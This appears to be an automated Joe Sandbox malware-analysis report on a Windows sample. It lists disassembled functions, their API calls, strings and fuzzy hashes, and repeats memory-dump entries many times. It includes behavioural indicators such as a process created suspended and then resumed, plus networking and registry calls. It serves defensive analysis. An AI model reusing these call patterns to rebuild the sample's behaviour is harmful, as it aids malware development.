                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Message$MetricsObjectSleepSystemWindow$AdjustClassCreateDeleteDispatchEnumHandleModuleRectRegisterTranslateWindows
                                              • String ID: d${CC7574E4-5E39-4700-B286-269A82DD8E95}
                                              • API String ID: 542949712-463908158
                                              • Opcode ID: 86ed9943e79a3e3580e74c8704a06bb3cd510a675bc19f251ed87b2b8d7d8bd8
                                              • Instruction ID: 9ecda04043aa578354fd9c214d0b0b59d9d1103a4fb3687757f0c8c8caf447da
                                              • Opcode Fuzzy Hash: 86ed9943e79a3e3580e74c8704a06bb3cd510a675bc19f251ed87b2b8d7d8bd8
                                              • Instruction Fuzzy Hash: 3541E375944209EFDB00CFE8ED49BADBFB5FF28305F204415EA01BA290C7B49A49AF51
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0041B315 Relevance: 27.4, APIs: 18, Instructions: 402stringCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: String_memset$ClearFreeH_prolog3Variantlstrlen
                                              • String ID:
                                              • API String ID: 516204547-0
                                              • Opcode ID: e16ab4582c3dd3ac93c38fa8d7baa4b4d34ab22af3afcf80529cffd6cb8cd2d2
                                              • Instruction ID: 338f5dbdf613cffc2caccf6674395e8c8bd267073f270d4e6aa739d6120d9ccf
                                              • Opcode Fuzzy Hash: e16ab4582c3dd3ac93c38fa8d7baa4b4d34ab22af3afcf80529cffd6cb8cd2d2
                                              • Instruction Fuzzy Hash: 3AF17C71D00209DFCF10DFA9D884AEEBBB5FF08304F14406AE951AB291D7789A95CF95
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 004021D1 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 158COMMON
                                              Download Yara Rule
                                              APIs
                                              • __EH_prolog3_GS.LIBCMT ref: 004021DB
                                              • ConvertDefaultLocale.KERNEL32(?), ref: 0040225B
                                              • ConvertDefaultLocale.KERNEL32(?), ref: 00402269
                                              • ConvertDefaultLocale.KERNEL32(?), ref: 004022B1
                                              • ConvertDefaultLocale.KERNEL32(000003FF), ref: 004022BA
                                              • EnumResourceLanguagesA.KERNEL32(00000000,00000010,00000001,Function_0000178B,?), ref: 004022F0
                                              • ConvertDefaultLocale.KERNEL32(?), ref: 00402323
                                              • ConvertDefaultLocale.KERNEL32(00000000), ref: 0040232C
                                              • _memset.LIBCMT ref: 0040238F
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: ConvertDefaultLocale$EnumH_prolog3_LanguagesResource_memset
                                              • String ID: GetSystemDefaultUILanguage$GetUserDefaultUILanguage$icS$kernel32.dll$ntdll.dll
                                              • API String ID: 785071532-871151104
                                              • Opcode ID: 244a91d409013806ac103fa91f19b417f07c6e1ff39f388174d9990cb9905209
                                              • Instruction ID: 69df3d215926d8a0a35dd84e62571328888c39e2da07de2c25b5bac6858e547f
                                              • Opcode Fuzzy Hash: 244a91d409013806ac103fa91f19b417f07c6e1ff39f388174d9990cb9905209
                                              • Instruction Fuzzy Hash: D4512A71D002289BCB659F66DD457EEBAB4AB48300F5041EBE948F32D0D7B85E85CF98
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00401200 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 61networkCOMMON
                                              Download Yara Rule
                                              APIs
                                              • WSAStartup.WS2_32(00000202,?), ref: 0040121F
                                                • Part of subcall function 0041DDB9: _doexit.LIBCMT ref: 0041DDC5
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Startup_doexit
                                              • String ID: C$E$E$T$d$h$icS$p$r$r$w$w
                                              • API String ID: 3828619186-904348392
                                              • Opcode ID: 895ebb6d624f81ed575f5ca0e13dc9488a612cba800548d42db12ec7fee6e083
                                              • Instruction ID: 3de63cea4ab5657e0ae7cab24a4962eb593b123f5e5622cebbf319618f048048
                                              • Opcode Fuzzy Hash: 895ebb6d624f81ed575f5ca0e13dc9488a612cba800548d42db12ec7fee6e083
                                              • Instruction Fuzzy Hash: DF31A17560D7C09EE371CB289484BCBBBE4ABAA344F48889DD5C847362C7799508CB27
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 004042F7 Relevance: 16.6, APIs: 11, Instructions: 139COMMON
                                              Download Yara Rule
                                              APIs
                                              • __EH_prolog3_catch.LIBCMT ref: 004042FE
                                              • FindResourceA.KERNEL32(?,?,00000005), ref: 00404331
                                              • LoadResource.KERNEL32(?,00000000), ref: 00404339
                                                • Part of subcall function 0040A4E9: UnhookWindowsHookEx.USER32(?), ref: 0040A519
                                              • LockResource.KERNEL32(?,00000024,004010ED), ref: 0040434A
                                              • GetDesktopWindow.USER32 ref: 0040437D
                                              • IsWindowEnabled.USER32(?), ref: 0040438B
                                              • EnableWindow.USER32(?,00000000), ref: 0040439A
                                                • Part of subcall function 00406780: IsWindowEnabled.USER32(?), ref: 00406789
                                                • Part of subcall function 0040679B: EnableWindow.USER32(?,?), ref: 004067AC
                                              • EnableWindow.USER32(?,00000001), ref: 0040447F
                                              • GetActiveWindow.USER32 ref: 0040448A
                                              • SetActiveWindow.USER32(?,?,00000024,004010ED), ref: 00404498
                                              • FreeResource.KERNEL32(?,?,00000024,004010ED), ref: 004044B4
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchHookLoadLockUnhookWindows
                                              • String ID:
                                              • API String ID: 964565984-0
                                              • Opcode ID: a69ee3aa4f300fde0ca5e094869d58f835424334b802303d3f9bc5c029030169
                                              • Instruction ID: 3ab8438f1444a5ad75ac13de96e64f48f670fc32df7f5e6f60dbedfa57138dd6
                                              • Opcode Fuzzy Hash: a69ee3aa4f300fde0ca5e094869d58f835424334b802303d3f9bc5c029030169
                                              • Instruction Fuzzy Hash: 7D51AD70A007059BCB20AFB5D9497AFBAB1BF84705F14513FE602B62E1CBB88941CB59
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0042253C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 57COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • __crt_waiting_on_module_handle.LIBCMT ref: 00422559
                                                • Part of subcall function 0041DB19: Sleep.KERNEL32(000003E8,?,?,0042249F,KERNEL32.DLL,?,00423710,?,0041E47E,8007000E,00000000,?,0040171B,8007000E,00000000), ref: 0041DB25
                                              • __lock.LIBCMT ref: 004225B4
                                              • InterlockedIncrement.KERNEL32(?), ref: 004225C1
                                              • __lock.LIBCMT ref: 004225D5
                                              • ___addlocaleref.LIBCMT ref: 004225F3
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: __lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                                              • String ID: DecodePointer$EncodePointer$KERNEL32.DLL$icS
                                              • API String ID: 3809893642-1076327473
                                              • Opcode ID: 397a88b900ba23040c528cdaa92aa5e74402f2714549c185e6e9b24477e1217c
                                              • Instruction ID: f073a6c751a530f7d42832504920de923a6c5451a9ce28606b74f22c833cbb33
                                              • Opcode Fuzzy Hash: 397a88b900ba23040c528cdaa92aa5e74402f2714549c185e6e9b24477e1217c
                                              • Instruction Fuzzy Hash: AF11B771A40715BEDB10AF3AED01B5ABBE0AF04314F50851FE599973A1CBB8AA40DF5C
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 005341C8 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 79COMMON
                                              Download Yara Rule
                                              APIs
                                              • VirtualQuery.KERNEL32(?,0000001C,0000001C,?,?,?,-- backtrace --,-- backtrace --,?,Function_0012754C,00539558,000000FF,?,005344A8,?), ref: 0053421E
                                              • wsprintfA.USER32 ref: 00534232
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: QueryVirtualwsprintf
                                              • String ID: !broken!$-- backtrace --$0x%08x:[%s]:(%03x:%08x)$0x%08x:[unknown]:unknown$unknown
                                              • API String ID: 682088319-3013617610
                                              • Opcode ID: ad8993a4f72bac011904f451d8dd18cc1e0911ab3f76bc7e109c7b14f451725a
                                              • Instruction ID: 7ab36b049f9b3f79623c92e44f94c4c4b475122b5d06e661814a204a161d9b0a
                                              • Opcode Fuzzy Hash: ad8993a4f72bac011904f451d8dd18cc1e0911ab3f76bc7e109c7b14f451725a
                                              • Instruction Fuzzy Hash: 78213E72A0020CEBDF00CF88CC45BEEBFB8FB08768F200519F511B6190D375AA159B94
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00532498 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 93processthreadCOMMON
                                              Download Yara Rule
                                              APIs
                                              • GetCurrentProcess.KERNEL32 ref: 005324E3
                                                • Part of subcall function 0053362F: RtlAllocateHeap.NTDLL(00000000,00000008,00000000), ref: 0053364E
                                              • GetModuleHandleA.KERNEL32(00000000,00000000,00000104), ref: 0053254E
                                              • GetModuleFileNameA.KERNEL32(00000000), ref: 00532555
                                              • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000004,00000000,00000000,00000044,?), ref: 0053257E
                                              • GetCurrentProcessId.KERNEL32 ref: 00532592
                                              • ResumeThread.KERNEL32(?), ref: 005325AC
                                                • Part of subcall function 00533617: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,EF00000D,?,005336AD,?,?,00533639), ref: 00533627
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Process$CurrentModule$AllocateCreateExceptionFileHandleHeapNameRaiseResumeThread
                                              • String ID: D
                                              • API String ID: 3512446267-2746444292
                                              • Opcode ID: 6242439985e7205b0a1a73485db7605e1bccfaafa3c22af280e7f3eca1ae7f0d
                                              • Instruction ID: 8d258938f1cc337d4cac1137e86743746e535167c92e9ec9a1577464ad46a3e5
                                              • Opcode Fuzzy Hash: 6242439985e7205b0a1a73485db7605e1bccfaafa3c22af280e7f3eca1ae7f0d
                                              • Instruction Fuzzy Hash: 6D314BB2A44708EFEF209BA4DC0ABADBBB4FB04721F204519F605FA2D1DBB419449F14
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040A573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104windowCOMMON
                                              Download Yara Rule
                                              APIs
                                              • _memset.LIBCMT ref: 0040A602
                                              • SendMessageA.USER32(00000000,00000405,00000000,?), ref: 0040A62B
                                              • GetWindowLongA.USER32(?,000000FC), ref: 0040A63D
                                              • GetWindowLongA.USER32(?,000000FC), ref: 0040A64E
                                              • SetWindowLongA.USER32(?,000000FC,?), ref: 0040A66A
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: LongWindow$MessageSend_memset
                                              • String ID: ,
                                              • API String ID: 2997958587-3772416878
                                              • Opcode ID: e11a7aa6f2fe4609f35edd2d76a8f90d92bd7df859a5feef7a3d91aef2949ee4
                                              • Instruction ID: 02bc29c95d1abd248c2105c1080e0573651ad91dbb28f572a8cb9437557de7f9
                                              • Opcode Fuzzy Hash: e11a7aa6f2fe4609f35edd2d76a8f90d92bd7df859a5feef7a3d91aef2949ee4
                                              • Instruction Fuzzy Hash: E531C071210710AFCB20AF79D888A6EB7F4BF48314B15053EE546A76D2EB38E814CB59
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 004056CA Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101registryCOMMON
                                              Download Yara Rule
                                              APIs
                                              • __EH_prolog3_GS.LIBCMT ref: 004056D4
                                              • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 004057BA
                                              • RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 004057D7
                                              • RegCloseKey.ADVAPI32(?), ref: 004057F7
                                              • RegQueryValueA.ADVAPI32(80000001,?,?,?), ref: 00405812
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
